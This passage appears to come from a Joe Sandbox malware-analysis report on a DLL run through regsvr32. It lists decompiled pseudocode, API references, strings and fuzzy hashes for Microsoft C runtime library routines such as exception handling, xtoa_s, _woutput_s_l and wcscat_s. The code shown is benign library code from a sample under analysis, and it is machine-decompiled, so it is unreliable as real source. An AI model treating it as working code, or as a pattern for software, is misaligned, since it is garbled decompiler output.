				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
$, xrefs: 000007FEF9D38FA5
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction ID: 19a34de06f4f25a15c822aae2b95ff87e4dec291f3645630fab9b4d6ba707880
Opcode Fuzzy Hash: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction Fuzzy Hash: 4AE11836A1CB86CAE7A09B18E84476EB3E1F784345F604525E6CD83BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
$, xrefs: 000007FEF9D372CF
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction ID: 612b8f3a1e511721bf558c20b5ecc37bcc5fe5373454d887446b2b671354ce2d
Opcode Fuzzy Hash: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction Fuzzy Hash: 2EE13A32A1DB86CAE7A09B59E8447AEB7E1F385344F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

9, xrefs: 000007FEF9D3E988
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction ID: 6542cf9ee6a066de1e86aade3174812d6b56db97d2698e01b13d8cfaf3a7b086
Opcode Fuzzy Hash: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction Fuzzy Hash: 20F1E872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

String is not null terminated, xrefs: 000007FEF9D3304D
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
Buffer is too small, xrefs: 000007FEF9D331DB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274
(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction ID: b03569ffd57b7167c314fdf02ed50a447cb54ce8ebbf145893a20e686b3b9740
Opcode Fuzzy Hash: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction Fuzzy Hash: BFF13832A0DB8685EBE08B19E94476EA3E0F385795F604535D6DE83BA8DF7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

String is not null terminated, xrefs: 000007FEF9D36C80
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
